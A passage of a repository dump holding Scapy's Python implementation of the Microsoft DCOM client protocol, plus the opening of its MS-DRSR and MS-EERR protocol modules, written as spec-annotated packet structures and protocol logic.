kwargs[\"impersonation_type\"] = RPC_C_IMP_LEVEL.IMPERSONATE\n\n        super(DCOM_Client, self).__init__(\n            DCERPC_Transport.NCACN_IP_TCP,\n            ndr64=False,\n            verb=verb,\n            **kwargs,\n        )\n\n    def connect(self, host: str, timeout=5):\n        \"\"\"\n        Initiate a connection to the object resolver.\n\n        :param host: the host to connect to\n        :param timeout: (optional) the connection timeout (default 5)\n        \"\"\"\n        # [MS-DCOM] 3.2.4.1.2.1 Determining RPC Binding Information\n        binds, _ = ServerAlive2(host)\n        host, port = self._ChoseRPCBinding(binds)\n\n        super(DCOM_Client, self).connect(\n            host=host,\n            port=port,\n            timeout=timeout,\n        )\n\n    def sr1_req(self, pkt, **kwargs):\n        raise NotImplementedError(\"Cannot use sr1_req on DCOM_Client !\")\n\n    def _GetObjectInstance(self, oid: int):\n        \"\"\"\n        Internal function to get an ObjectInstance from an oid\n        \"\"\"\n        return ObjectInstance(\n            client=self,\n            oid=oid,\n        )\n\n    def _RemoteCreateInstanceOrGetClassObject(\n        self,\n        clsreq,\n        clsresp,\n        clsid: uuid.UUID,\n        iids: List[ComInterface],\n    ) -> ObjectInstance:\n        \"\"\"\n        Internal function common to RemoteCreateInstance and RemoteGetClassObject\n        \"\"\"\n        if not iids:\n            raise ValueError(\"Must specify at least one interface !\")\n\n        # Bind IObjectExporter if not already\n        self.bind_or_alter(\n            find_dcerpc_interface(\"IRemoteSCMActivator\"),\n            target_name=\"rpcss/\" + self.host,\n        )\n\n        # [MS-DCOM] sect 3.1.2.5.2.3.3 - Issuing the Activation Request\n\n        # Build the activation properties\n        ActivationProperties = [\n            SpecialPropertiesData(\n                # Same as windows\n                dwDefaultAuthnLvl=self.auth_level,\n                dwOrigClsctx=16,\n                dwFlags=2,  # ???\n                ndr64=False,\n            ),\n            InstantiationInfoData(\n                classId=GUID(_uid_to_bytes(clsid)),\n                classCtx=16,\n                actvflags=0,\n                fIsSurrogate=0,\n                clientCOMVersion=COMVERSION(\n                    MajorVersion=5,\n                    MinorVersion=7,\n                ),\n                pIID=[GUID(_uid_to_bytes(x.uuid)) for x in iids],\n                ndr64=False,\n            ),\n            ActivationContextInfoData(\n                pIFDClientCtx=MInterfacePointer(\n                    abData=OBJREF(iid=IID_IContext)\n                    / OBJREF_CUSTOM(\n                        clsid=CLSID_ContextMarshaler,\n                        pObjectData=Context(\n                            ContextId=uuid.UUID(\"53394e9f-e973-4bf0-a341-154519534fe1\"),\n                            Flags=\"CTXMSHLFLAGS_BYVAL\",\n                        ),\n                    ),\n                ),\n                ndr64=False,\n            ),\n            SecurityInfoData(\n                pServerInfo=COSERVERINFO(\n                    pwszName=self.host,\n                ),\n                ndr64=False,\n            ),\n            LocationInfoData(ndr64=False),\n            ScmRequestInfoData(\n                remoteRequest=customREMOTE_REQUEST_SCM_INFO(\n                    pRequestedProtseqs=[\n                        # Note <51> for Windows Vista and later\n                        int(DCERPC_Transport.NCACN_IP_TCP),\n                    ]\n                ),\n                ndr64=False,\n            ),\n        ]\n\n        # Build CustomHeader\n        hdr = CustomHeader(\n            pclsid=[\n                GUID(_uid_to_bytes(CLSID_SpecialSystemProperties)),\n                GUID(_uid_to_bytes(CLSID_InstantiationInfo)),\n                GUID(_uid_to_bytes(CLSID_ActivationContextInfo)),\n                GUID(_uid_to_bytes(CLSID_SecurityInfo)),\n                GUID(_uid_to_bytes(CLSID_ServerLocationInfo)),\n                GUID(_uid_to_bytes(CLSID_ScmRequestInfo)),\n            ],\n            pSizes=[\n                # Account for the size of the Type1 header + padding\n                len(x) + 16 + (-len(x) % 8)\n                for x in ActivationProperties\n            ],\n            ndr64=False,\n        )\n        hdr.headerSize = len(hdr) + 16  # 16: size of the Type1 serialization header\n        hdr.totalSize = hdr.headerSize + sum(hdr.valueof(\"pSizes\"))\n\n        # Build final request\n        pkt = clsreq(\n            orpcthis=ORPCTHIS(\n                version=COMVERSION(\n                    MajorVersion=5,\n                    MinorVersion=7,\n                ),\n                flags=tagCPFLAGS.CPFLAG_PROPAGATE,\n                cid=self.cid,\n            ),\n            pActProperties=MInterfacePointer(\n                abData=OBJREF(iid=IID_IActivationPropertiesIn)\n                / OBJREF_CUSTOM(\n                    clsid=CLSID_ActivationPropertiesIn,\n                    pObjectData=ActivationPropertiesBlob(\n                        CustomHeader=hdr,\n                        Property=ActivationProperties,\n                    ),\n                ),\n            ),\n            ndr64=False,\n        )\n\n        if isinstance(pkt, RemoteCreateInstance_Request):\n            pkt.pUnkOuter = None\n\n        # Send and receive\n        resp = super(DCOM_Client, self).sr1_req(pkt)\n        if not resp or resp.status != 0:\n            raise ValueError(\"%s failed.\" % clsreq.__name__)\n\n        entry = OXID_Entry()\n        objrefs = []\n\n        # [MS-DCOM] sect 3.2.4.1.1.3 - Updating the Client OXID Table after Activation\n        abData = OBJREF(resp.valueof(\"ppActProperties\").abData)\n        for prop in abData.pObjectData.Property:\n            if ScmReplyInfoData in prop:\n                # Information about the object exporter the server found for us\n                remoteReply = prop[ScmReplyInfoData].valueof(\"remoteReply\")\n\n                # Get OXID, IPID, COMVERSION, authentication level hint\n                entry.oxid = remoteReply.Oxid\n                entry.version = remoteReply.serverVersion\n                entry.authnHint = DCE_C_AUTHN_LEVEL(remoteReply.authnHint)\n                entry.ipid_IRemUnknown = _uid_from_bytes(\n                    bytes(remoteReply.ipidRemUnknown), ndrendian=remoteReply.ndrendian\n                )\n\n                # Set RPC bindings from the activation request\n                binds, secs = _ParseStringArray(remoteReply.valueof(\"pdsaOxidBindings\"))\n                entry.bindingInfo = self._ChoseRPCBinding(binds)\n                entry.target_name = self._CalculateTargetName(secs)\n\n            if PropsOutInfo in prop:\n                # Information about the interfaces that the client requested\n                info = prop[PropsOutInfo]\n\n                # Check that all interfaces were obtained\n                phresults = info.valueof(\"phresults\")\n                if any(x > 0 for x in phresults):\n                    raise ValueError(\n                        \"Interfaces %s were not obtained !\"\n                        % [iids[i] for i, x in enumerate(phresults) if x > 0]\n                    )\n\n                # Now store the object references for each interface\n                for i, ptr in enumerate(info.valueof(\"ppIntfData\")):\n                    if phresults[i] == 0:\n                        objrefs.append(OBJREF(ptr.abData))\n                    else:\n                        objrefs.append(None)\n\n        # Update the OXID table\n        if entry.oxid not in self.OXID_table:\n            self.OXID_table[entry.oxid] = entry\n\n        # Get oid\n        oid = objrefs[0].std.oid\n\n        # Add an entry to the IPID table for the RemUnknown\n        if entry.ipid_IRemUnknown not in self.IPID_table:\n            ipid_entry = IPID_Entry()\n            ipid_entry.iface = self.IREMUNKNOWN\n            ipid_entry.iid = self.IREMUNKNOWN.uuid\n            ipid_entry.oxid = entry.oxid\n            ipid_entry.oid = oid\n            self.IPID_table[entry.ipid_IRemUnknown] = ipid_entry\n\n        # \"For each object reference returned from the activation request for\n        # which the corresponding status code indicates success, the client MUST\n        # unmarshal the object reference\"\n        for i, obj in enumerate(objrefs):\n            if obj is None:\n                continue\n            # Unmarshall\n            self._UnmarshallObjref(obj, iid=iids[i])\n\n        return self._GetObjectInstance(oid=oid)\n\n    def _UnmarshallObjref(\n        self,\n        obj: OBJREF,\n        iid: Optional[ComInterface] = None,\n    ) -> int:\n        \"\"\"\n        [MS-DCOM] sect 3.2.4.1.2 - Unmarshaling an Object Reference\n\n        :param iid: \"IID specified by the application when unmarshalling the object\n            reference\" (see [MS-DCOM] sect 4.5)\n        \"\"\"\n        # \"If the OBJREF_STANDARD flag is set\"\n        if OBJREF_STANDARD in obj and iid:\n            # \"the client MUST look up the OXID entry in the OXID\n            # table using the OXID from the STDOBJREF\"\n            try:\n                ox = self.OXID_table[obj.std.oxid]\n            except KeyError:\n                # \"If the table entry is not found\"\n\n                # \"determine the RPC binding information to be used\"\n                binds, _ = _ParseStringArray(obj.saResAddr)\n                host, port = self._ChoseRPCBinding(binds)\n\n                # \"issue OXID resolution\"\n                ox = self.ResolveOxid2(oxid=obj.std.oxid, host=host, port=port)\n\n            # \"Next, the client MUST update its tables\"\n            self._UpdateTables(iid, ox, obj, obj.std)\n\n            # \"Finally, the client MUST compare the IID in the OBJREF with the\n            # IID specified by the application\"\n            if obj.iid != iid.uuid:\n                # \"First, the client SHOULD acquire an object reference of the IID\n                # specified by the application\"\n                self.AcquireInterface(\n                    ipid=obj.std.ipid,\n                    iids=[\n                        iid,\n                    ],\n                    cPublicRefs=1,\n                )\n\n                # \"Next, the client MUST release the object reference unmarshaled\n                # from the OBJREF\"\n                self.RemRelease(obj.std.ipid)\n\n            return obj.std.oid\n        else:\n            obj.show()\n            raise NotImplementedError(\"Non OBJREF_STANDARD ! Please report.\")\n\n    def _UpdateTables(\n        self,\n        iface: ComInterface,\n        ox: OXID_Entry,\n        obj: OBJREF,\n        std: STDOBJREF,\n    ) -> None:\n        \"\"\"\n        [MS-DCOM] 3.2.4.1.2.3 Updating Client Tables After Unmarshaling\n        \"\"\"\n        # [MS-DCOM] 3.2.4.1.2.3.1 Updating the OXID\n        if std.oxid not in self.OXID_table:\n            self.OXID_table[std.oxid] = ox\n\n        # [MS-DCOM] 3.2.4.1.2.3.2 Updating the OID/IPID/Resolver\n        if std.ipid in self.IPID_table:\n            self.IPID_table[std.ipid].cPublicRefs += std.cPublicRefs\n        else:\n            entry = IPID_Entry()\n            entry.ipid = std.ipid\n            entry.oxid = std.oxid\n            entry.oid = std.oid\n            entry.iid = obj.iid\n            entry.iface = iface\n            entry.cPublicRefs = std.cPublicRefs\n            if entry.cPublicRefs == 0:\n                # \"If the STDOBJREF contains a public reference count of zero,\n                # the client MUST obtain additional references on the interface\"\n                raise NotImplementedError(\"Should acquire additional references !\")\n            entry.cPrivateRefs = 0\n            self.IPID_table[std.ipid] = entry\n\n        if std.oid in self.OID_table:\n            oid_entry = self.OID_table[std.oid]\n            if std.ipid not in oid_entry.ipids:\n                oid_entry.ipids.append(std.ipid)\n        else:\n            binds, secs = _ParseStringArray(obj.saResAddr)\n\n            oid_entry = OID_Entry()\n            oid_entry.oid = std.oid\n            oid_entry.oxid = std.oxid\n            oid_entry.ipids.append(std.ipid)\n            oid_entry.garbage_collection = not std.flags.SORF_NOPING\n            oid_entry.hash = _HashStringBinding(binds)\n            self.OID_table[std.oid] = oid_entry\n\n            if oid_entry.hash not in self.Resolver_table:\n                resolver_entry = Resolver_Entry()\n                resolver_entry.setid = 0\n                resolver_entry.hash = oid_entry.hash\n                resolver_entry.binds = binds\n                resolver_entry.secs = secs\n                self.Resolver_table[oid_entry.hash] = resolver_entry\n\n    def _ChoseRPCBinding(self, bindings: List[STRINGBINDING]):\n        \"\"\"\n        [MS-DCOM] 3.2.4.1.2.1 - Determining RPC Binding Information for OXID Resolution\n        \"\"\"\n        # We don't try security bindings, only string ones (connection).\n        # We take the first valid one.\n        for binding in bindings:\n            # Only NCACN_IP_TCP is supported by DCOM\n            if binding.wTowerId == DCERPC_Transport.NCACN_IP_TCP:\n                # [MS-DCOM] 2.2.19.3\n                m = re.match(r\"(.*)\\[(.*)\\]\", binding.aNetworkAddr)\n                if m:\n                    host, port = m.group(1), int(m.group(2))\n                else:\n                    host, port = binding.aNetworkAddr, 135\n\n                # Check validity of the host/port tuple\n                if valid_ip6(host):\n                    # IPv6\n                    pass\n                elif valid_ip(host):\n                    # IPv4\n                    pass\n                else:\n                    # Netbios/FQDN\n                    try:\n                        socket.gethostbyname(host)\n                    except Exception:\n                        # Resolution failed. Skip.\n                        log_runtime.warning(\n                            \"Resolution of '%s' failed, check your DNS and default \"\n                            \"DNS prefix. Kerberos authentication will likely not work.\"\n                            % host\n                        )\n                        continue\n\n                # Success\n                return host, port\n        raise ValueError(\"No valid bindings available !\")\n\n    def _CalculateTargetName(self, secs: List[SECURITYBINDING]):\n        \"\"\"\n        3.2.4.2 ORPC Invocations - Find SPN from aPrincName\n        \"\"\"\n        if self.ssp is None or not secs:\n            return None\n\n        for sec in secs:\n            # \"if the aPrincName field is nonempty\"\n            if sec.wAuthnSvc == self.ssp.auth_type and sec.aPrincName:\n                return sec.aPrincName\n\n        # \"if the aPrincName field is empty, the client MUST NOT specify an SPN\"\n        return None\n\n    def UnmarshallObjectReference(\n        self, mifaceptr: MInterfacePointer, iid: ComInterface\n    ):\n        \"\"\"\n        [MS-DCOM] 3.2.4.3 Marshaling an Object Reference\n\n        Unmarshall a MInterfacePointer received by the applicative layer.\n        \"\"\"\n        oid = self._UnmarshallObjref(obj=OBJREF(mifaceptr.abData), iid=iid)\n        return self._GetObjectInstance(oid)\n\n    def ResolveOxid2(\n        self, oxid: int, host: Optional[str] = None, port: Optional[int] = None\n    ):\n        \"\"\"\n        [MS-DCOM] 3.2.4.1.2.2 Issuing the OXID Resolution Request\n\n        :param oxid: the OXID to resolve\n        :param host: (optional) connect to a different host\n        :param port: (optional) connect to a different port\n        \"\"\"\n\n        if host == self.host and port == self.port:\n            host = self.host\n            port = self.port\n            client = self\n        else:\n            # Create and connect client\n            client = DCOM_Client(\n                # Note <85>: Windows uses INTEGRITY\n                auth_level=DCE_C_AUTHN_LEVEL.PKT_INTEGRITY,\n                ssp=self.ssp,\n            )\n            client.connect(host, port=port)\n\n        # Bind IObjectExporter if not already\n        client.bind_or_alter(\n            find_dcerpc_interface(\"IObjectExporter\"),\n            target_name=\"rpcss/\" + self.host,\n        )\n\n        try:\n            # Perform ResolveOxid2\n            resp = super(DCOM_Client, client).sr1_req(\n                ResolveOxid2_Request(\n                    pOxid=oxid,\n                    arRequestedProtseqs=[\n                        DCERPC_Transport.NCACN_IP_TCP,\n                    ],\n                    ndr64=self.ndr64,\n                )\n            )\n        finally:\n            if host != self.host or port != self.port:\n                client.close()\n\n        # Entry\n        if oxid in self.OXID_table:\n            entry = self.OXID_table[oxid]\n        else:\n            entry = OXID_Entry()\n\n        # Get OXID, IPID, COMVERSION, authentication level hint\n        entry.oxid = oxid\n        entry.version = resp.pComVersion\n        entry.authnHint = DCE_C_AUTHN_LEVEL(resp.pAuthnHint)\n        entry.ipid_IRemUnknown = _uid_from_bytes(\n            bytes(resp.pipidRemUnknown), ndrendian=resp.ndrendian\n        )\n\n        # Set RPC bindings from the oxid request\n        binds, secs = _ParseStringArray(resp.valueof(\"ppdsaOxidBindings\"))\n        entry.bindingInfo = self._ChoseRPCBinding(binds)\n        entry.target_name = self._CalculateTargetName(secs)\n\n        # Update the OXID table\n        if entry.oxid not in self.OXID_table:\n            self.OXID_table[entry.oxid] = entry\n\n        return entry\n\n    def RemoteCreateInstance(\n        self, clsid: uuid.UUID, iids: List[ComInterface]\n    ) -> ObjectInstance:\n        \"\"\"\n        Calls IRemoteSCMActivator::RemoteCreateInstance and returns a OXID_Entry\n        that points to an instance of the provided class.\n\n        :param clsid: the class ID to initialize\n        :param iids: the IDs of the interfaces to request\n        \"\"\"\n        return self._RemoteCreateInstanceOrGetClassObject(\n            RemoteCreateInstance_Request,\n            RemoteCreateInstance_Response,\n            clsid,\n            iids,\n        )\n\n    def RemoteGetClassObject(\n        self, clsid: uuid.UUID, iids: List[ComInterface]\n    ) -> ObjectInstance:\n        \"\"\"\n        Calls IRemoteSCMActivator::RemoteGetClassObject and returns a OXID_Entry\n        that points to the factory.\n\n        :param clsid: the class ID to initialize\n        :param iids: the IDs of the interfaces to request\n        \"\"\"\n        return self._RemoteCreateInstanceOrGetClassObject(\n            RemoteGetClassObject_Request,\n            RemoteGetClassObject_Response,\n            clsid,\n            iids,\n        )\n\n    def sr1_orpc_req(\n        self,\n        pkt: NDRPacket,\n        ipid: uuid.UUID,\n        ssp=None,\n        auth_level=None,\n        impersonation_type=None,\n        timeout=5,\n        **kwargs,\n    ):\n        \"\"\"\n        Make an ORPC call.\n\n        :param ipid: the reference to a specific interface on an object.\n        :param pkt: the request to make.\n\n        :param ssp: (optional) non default SSP to use to connect to the object exporter\n        :param auth_level: (optional) non default authn level to use\n        :param impersonation_type: (optional) non default impersonation type to use\n        :param timeout: (optional) timeout for the connection\n        \"\"\"\n        # [MS-DCOM] sect 3.2.4.2\n\n        # 1. look up the object exporter information in the client tables\n\n        try:\n            # \"The client MUST use the IPID specified by the client application to\n            # look up the IPID entry in the IPID table.\"\n            ipid_entry = self.IPID_table[ipid]\n        except KeyError:\n            raise ValueError(\"The IPID that was passed is unknown.\")\n\n        # \"The client MUST then look up the OXID entry\"\n        oxid_entry = self.OXID_table[ipid_entry.oxid]\n        oid_entry = self.OID_table[ipid_entry.oid]\n        resolver_entry = self.Resolver_table[oid_entry.hash]\n\n        # Get opnum\n        try:\n            opnum = pkt.overload_fields[DceRpc5Request][\"opnum\"]\n        except KeyError:\n            raise ValueError(\"This packet is not part of a registered COM interface !\")\n\n        # Build ORPC request\n\n        if resolver_entry.client is None:\n            # We don't have a client ready, make one.\n            resolver_entry.client = DCERPC_Client(\n                DCERPC_Transport.NCACN_IP_TCP,\n                ssp=ssp or self.ssp,\n                auth_level=auth_level or oxid_entry.authnHint,\n                impersonation_type=impersonation_type or self.impersonation_type,\n                verb=self.verb,\n            )\n\n            resolver_entry.client.connect(\n                host=oxid_entry.bindingInfo[0],\n                port=oxid_entry.bindingInfo[1],\n                timeout=timeout,\n            )\n\n        # Bind the COM interface\n        resolver_entry.client.bind_or_alter(\n            ipid_entry.iface,\n            target_name=oxid_entry.target_name,\n        )\n\n        # We need to set the NDR very late, after the bind\n        pkt.ndr64 = resolver_entry.client.ndr64\n\n        # \"The ORPCTHIS and ORPCTHAT structures MUST be marshaled using\n        # the NDR [2.0] Transfer Syntax\"\n        pkt = (\n            ORPCTHIS(\n                version=oxid_entry.version,\n                cid=self.cid,\n                ndr64=False,\n            )\n            / pkt\n        )\n\n        # Send/Receive !\n        resp = resolver_entry.client.sr1_req(\n            pkt,\n            opnum=opnum,\n            objectuuid=ipid,\n            **kwargs,\n        )\n\n        return resp[ORPCTHAT].payload\n\n    def AcquireInterface(\n        self,\n        ipid: uuid.UUID,\n        iids: List[ComInterface],\n        cPublicRefs: int,\n    ):\n        \"\"\"\n        [MS-DCOM] 3.2.4.4.3 - Acquiring Additional Interfaces on the Object\n        \"\"\"\n        # 1. Look up the OID entry\n        ipid_entry = self.IPID_table[ipid]\n        oxid_entry = self.OXID_table[ipid_entry.oxid]\n\n        # 2. Perform call\n        resp = self.sr1_orpc_req(\n            ipid=oxid_entry.ipid_IRemUnknown,\n            pkt=RemQueryInterface_Request(\n                ripid=GUID(_uid_to_bytes(ipid)),\n                cRefs=cPublicRefs,\n                cIids=len(iids),\n                iids=[GUID(_uid_to_bytes(x.uuid)) for x in iids],\n            ),\n        )\n\n        # 3. Process answer\n        if not resp or resp.status != 0:\n            raise ValueError\n\n        # \"When the call returns successfully...\"\n        for i, remqir in enumerate(resp.valueof(\"ppQIResults\")):\n            self._UnmarshallObjref(\n                OBJREF(iid=iids[i].uuid)\n                / OBJREF_STANDARD(std=STDOBJREF(bytes(remqir.std))),\n                iid=iids[i],\n            )\n\n    def RemRelease(self, ipid: uuid.UUID):\n        \"\"\"\n        3.2.4.4.2 Releasing Reference Counts on an Interface\n        \"\"\"\n\n        # 1. Look up the OID entry\n        ipid_entry = self.IPID_table[ipid]\n        oxid_entry = self.OXID_table[ipid_entry.oxid]\n        oid_entry = self.OID_table[ipid_entry.oid]\n\n        # 2. Perform call\n        resp = self.sr1_orpc_req(\n            ipid=oxid_entry.ipid_IRemUnknown,\n            pkt=RemRelease_Request(\n                InterfaceRefs=[\n                    REMINTERFACEREF(\n                        ipid=GUID(_uid_to_bytes(ipid)),\n                        cPublicRefs=ipid_entry.cPublicRefs,\n                        cPrivateRefs=ipid_entry.cPrivateRefs,\n                    )\n                ],\n            ),\n        )\n\n        # 3. Process answer\n        if resp and resp.status == 0:\n            # \"When the call returns successfully...\"\n            # \"It MUST remove the IPID entry from the IPID table.\"\n            del self.IPID_table[ipid]\n\n            # \"It MUST remove the IPID from the IPID list in the OID entry.\"\n            oid_entry.ipids.remove(ipid)\n\n            # \"If the IPID list of the OID entry is empty, it MUST remove the\n            # OID entry from the OID table.\"\n            if not oid_entry.ipids:\n                del self.OID_table[ipid_entry.oid]\n\n\ndef ServerAlive2(host, timeout=5) -> Tuple[List[STRINGBINDING], List[SECURITYBINDING]]:\n    \"\"\"\n    Call IObjectExporter::ServerAlive2\n    \"\"\"\n    client = DCERPC_Client(\n        transport=DCERPC_Transport.NCACN_IP_TCP,\n        verb=False,\n        ndr64=False,\n        # \"The client MUST NOT specify security on the call\"\n        auth_level=DCE_C_AUTHN_LEVEL.NONE,\n    )\n    client.connect(host, port=135, timeout=timeout)\n\n    # Bind IObjectExporter if not already\n    client.bind_or_alter(find_dcerpc_interface(\"IObjectExporter\"))\n\n    # Send ServerAlive2 request\n    resp = client.sr1_req(ServerAlive2_Request(ndr64=False), timeout=timeout)\n    if not resp or resp.status != 0:\n        raise ValueError(\"ServerAlive2 failed !\")\n\n    # Parse bindings and security options\n    return _ParseStringArray(resp.ppdsaOrBindings.value)\n"
  },
  {
    "path": "scapy/layers/msrpce/msdrsr.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\n[MS-DRSR] Directory Replication Service (DRS) Remote Protocol\n\"\"\"\n\nimport uuid\nfrom dataclasses import dataclass\n\nfrom scapy.packet import Packet\nfrom scapy.fields import LEIntField, FlagsField, UUIDField, UTCTimeField\nfrom scapy.volatile import RandShort\n\nfrom scapy.asn1.asn1 import ASN1_OID\nfrom scapy.layers.msrpce.raw.ms_drsr import UUID\nfrom scapy.layers.msrpce.raw.ms_drsr import *  # noqa: F403,F401\n\n# [MS-DRSR] sect 5.16.4 ATTRTYP-to-OID Conversion\n\n\n@dataclass\nclass Prefix:\n    prefixString: str\n    prefixIndex: int\n\n\ndef MakeAttid(t, o):\n    \"\"\"\n    MakeAttid per [MS-DRSR] sect 5.16.4\n    \"\"\"\n    ToBinary = lambda x: bytes(ASN1_OID(x))\n\n    lastValue = int(o.split(\".\")[-1])\n\n    # \"convert the dotted form of OID into a BER encoded binary\"\n    binaryOID = ToBinary(o)\n\n    # \"get the prefix of the OID\"\n    if lastValue < 128:\n        oidPrefix = binaryOID[:-1]\n    else:\n        oidPrefix = binaryOID[:-2]\n\n    lowerWord = lastValue % 16384\n    if lastValue >= 16384:\n        lowerWord += 32768\n    try:\n        upperWord = next(x.prefixIndex for x in t if x.prefixString == oidPrefix)\n    except StopIteration:\n        # AddPrefixTableEntry\n        upperWord = int(RandShort())\n        t.append(\n            Prefix(\n                prefixString=oidPrefix,\n                prefixIndex=upperWord,\n            )\n        )\n\n    return upperWord * 65536 + lowerWord\n\n\n# [MS-DRSR] sect 5.39 DRS_EXTENSIONS_INT\n\n\nclass DRS_EXTENSIONS_INT(Packet):\n    fields_desc = [\n        FlagsField(\n            \"dwFlags\",\n            0,\n            -32,\n            {\n                0x00000001: \"BASE\",\n                0x00000002: \"ASYNCREPL\",\n                0x00000004: \"REMOVEAPI\",\n                0x00000008: \"MOVEREQ_V2\",\n                0x00000010: \"GETCHG_DEFLATE\",\n                0x00000020: \"DCINFO_V1\",\n                0x00000040: \"RESTORE_USN_OPTIMIZATION\",\n                0x00000080: \"ADDENTRY\",\n                0x00000100: \"KCC_EXECUTE\",\n                0x00000200: \"ADDENTRY_V2\",\n                0x00000400: \"LINKED_VALUE_REPLICATION\",\n                0x00000800: \"DCINFO_V2\",\n                0x00001000: \"INSTANCE_TYPE_NOT_REQ_ON_MOD\",\n                0x00002000: \"CRYPTO_BIND\",\n                0x00004000: \"GET_REPL_INFO\",\n                0x00008000: \"STRONG_ENCRYPTION\",\n                0x00010000: \"DCINFO_VFFFFFFFF\",\n                0x00020000: \"TRANSITIVE_MEMBERSHIP\",\n                0x00040000: \"ADD_SID_HISTORY\",\n                0x00080000: \"POST_BETA3\",\n                0x00100000: \"GETCHGREQ_V5\",\n                0x00200000: \"GETMEMBERSHIPS2\",\n                0x00400000: \"GETCHGREQ_V6\",\n                0x00800000: \"NONDOMAIN_NCS\",\n                0x01000000: \"GETCHGREQ_V8\",\n                0x02000000: \"GETCHGREPLY_V5\",\n                0x04000000: \"GETCHGREPLY_V6\",\n                0x08000000: \"WHISTLER_BETA3\",\n                0x10000000: \"W2K3_DEFLATE\",\n                0x20000000: \"GETCHGREQ_V10\",\n                0x40000000: \"R2\",\n                0x80000000: \"R3\",\n            },\n        ),\n        UUIDField(\"SiteObjGuid\", None, uuid_fmt=UUIDField.FORMAT_LE),\n        LEIntField(\"Pid\", 0),\n        UTCTimeField(\"dwReplEpoch\", None, fmt=\"<I\"),\n        FlagsField(\n            \"dwFlagsExt\",\n            0,\n            -32,\n            {\n                0x00000001: \"ADAM\",\n                0x00000002: \"LH_BETA2\",\n                0x00000004: \"RECYCLE_BIN\",\n                0x00000100: \"GETCHGREPLY_V9\",\n                0x00000400: \"RPC_CORRELATIONID_1\",\n            },\n        ),\n        UUIDField(\"ConfigObjGuid\", None, uuid_fmt=UUIDField.FORMAT_LE),\n        LEIntField(\"dwExtCaps\", 0),\n    ]\n\n\n# [MS-DRSR] sect 5.138 NTDSAPI_CLIENT_GUID\n\nNTDSAPI_CLIENT_GUID = UUID(uuid.UUID(\"{e24d201a-4fd6-11d1-a3da-0000f875ae0d}\").bytes_le)\n"
  },
  {
    "path": "scapy/layers/msrpce/mseerr.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\n[MS-EERR] ExtendedError Remote Data Structure\n\"\"\"\n\n# Wireshark does not know how to read this !\n\nimport uuid\n\nfrom scapy.fields import UTCTimeField\nfrom scapy.packet import Packet, bind_layers\n\nfrom scapy.layers.dcerpc import (\n    DceRpc5Fault,\n    DceRpc5BindNak,\n    NDRSerializeType1PacketField,\n)\nfrom scapy.layers.msrpce.raw.ms_eerr import (\n    ExtendedErrorInfo,\n    EEComputerNamePresent,\n)\nfrom scapy.layers.smb2 import STATUS_ERREF\n\n# Encapsulation packets\n\n# https://learn.microsoft.com/en-us/windows/win32/rpc/understanding-extended-error-information\n\nEERR_GENERATING_COMPONENT = {\n    # The component owning the manager routine for the particular RPC call\n    1: \"Application\",\n    # The RPC run time\n    2: \"Runtime\",\n    # The security provider for this call.\n    3: \"Security Provider\",\n    # The NPFS file system\n    4: \"NPFS\",\n    # The Redirector\n    5: \"RDR\",\n    # The named pipe system.\n    # This can be either NPFS or RDR, but in many cases the RPC run time\n    # does not know who performed the requested the operation, and in such\n    # cases NMP is returned.\n    6: \"NMP\",\n    # The IO system or a driver used by the IO system.\n    # This can be either NPFS, RDR, or a Winsock provider.\n    7: \"IO\",\n    # The Winsock provider\n    8: \"Winsock\",\n    # The Authorization APIs.\n    9: \"Authz code\",\n    # The Local Procedure Call facility.\n    10: \"LPC\",\n}\n\nEERR_FLAGS = {\n    1: \"EEInfoPreviousRecordsMissing\",\n    2: \"EEInfoNextRecordsMissing\",\n}\n\n# https://learn.microsoft.com/en-us/windows/win32/rpc/extended-error-information-detection-locations\n\nEERR_DETECTION_LOCATIONS = {\n    10: \"DealWithLRPCRequest10\",\n    11: \"DealWithLRPCRequest20\",\n    12: \"WithLRPCRequest30\",\n    13: \"WithLRPCRequest40\",\n    20: \"LrpcMessageToRpcMessage10\",\n    21: \"LrpcMessageToRpcMessage20\",\n    22: \"LrpcMessageToRpcMessage30\",\n    30: \"DealWithRequestMessage10\",\n    31: \"DealWithRequestMessage20\",\n    32: \"DealWithRequestMessage30\",\n    40: \"CheckSecurity10\",\n    50: \"DealWithBindMessage10\",\n    51: \"DealWithBindMessage20\",\n    52: \"DealWithBindMessage30\",\n    53: \"DealWithBindMessage40\",\n    54: \"DealWithBindMessage50\",\n    55: \"DealWithBindMessage60\",\n    60: \"FindServerCredentials10\",\n    61: \"FindServerCredentials20\",\n    62: \"FindServerCredentials30\",\n    70: \"AcceptFirstTime10\",\n    71: \"AcceptThirdLeg10\",\n    72: \"AcceptThirdLeg20\",\n    73: \"AcceptFirstTime20\",\n    74: \"AcceptThirdLeg40\",\n    80: \"AssociationRequested10\",\n    81: \"AssociationRequested20\",\n    82: \"AssociationRequested30\",\n    90: \"CompleteSecurityToken10\",\n    91: \"CompleteSecurityToken20\",\n    100: \"AcquireCredentialsForClient10\",\n    101: \"AcquireCredentialsForClient20\",\n    102: \"AcquireCredentialsForClient30\",\n    110: \"InquireDefaultPrincName10\",\n    111: \"InquireDefaultPrincName20\",\n    120: \"SignOrSeal10\",\n    130: \"VerifyOrUnseal10\",\n    131: \"VerifyOrUnseal20\",\n    140: \"InitializeFirstTime10\",\n    141: \"InitializeFirstTime20\",\n    142: \"InitializeFirstTime30\",\n    150: \"InitializeThirdLeg10\",\n    151: \"InitializeThirdLeg20\",\n    152: \"InitializeThirdLeg30\",\n    153: \"InitializeThirdLeg40\",\n    154: \"InitializeThirdLeg50\",\n    155: \"InitializeThirdLeg60\",\n    160: \"ImpersonateClient10\",\n    170: \"DispatchToStub10\",\n    171: \"DispatchToStub20\",\n    180: \"DispatchToStubWorker10\",\n    181: \"DispatchToStubWorker20\",\n    182: \"DispatchToStubWorker30\",\n    183: \"DispatchToStubWorker40\",\n    190: \"NMPOpen10\",\n    191: \"NMPOpen20\",\n    192: \"NMPOpen30\",\n    193: \"NMPOpen40\",\n    200: \"NMPSyncSend10\",\n    210: \"NMPSyncSendReceive10\",\n    220: \"NMPSyncSendReceive20\",\n    221: \"NMPSyncSendReceive30\",\n    230: \"COSend10\",\n    240: \"COSubmitRead10\",\n    250: \"COSubmitSyncRead10\",\n    251: \"COSubmitSyncRead20\",\n    260: \"COSyncRecv10\",\n    270: \"WSCheckForShutdowns10\",\n    271: \"WSCheckForShutdowns20\",\n    272: 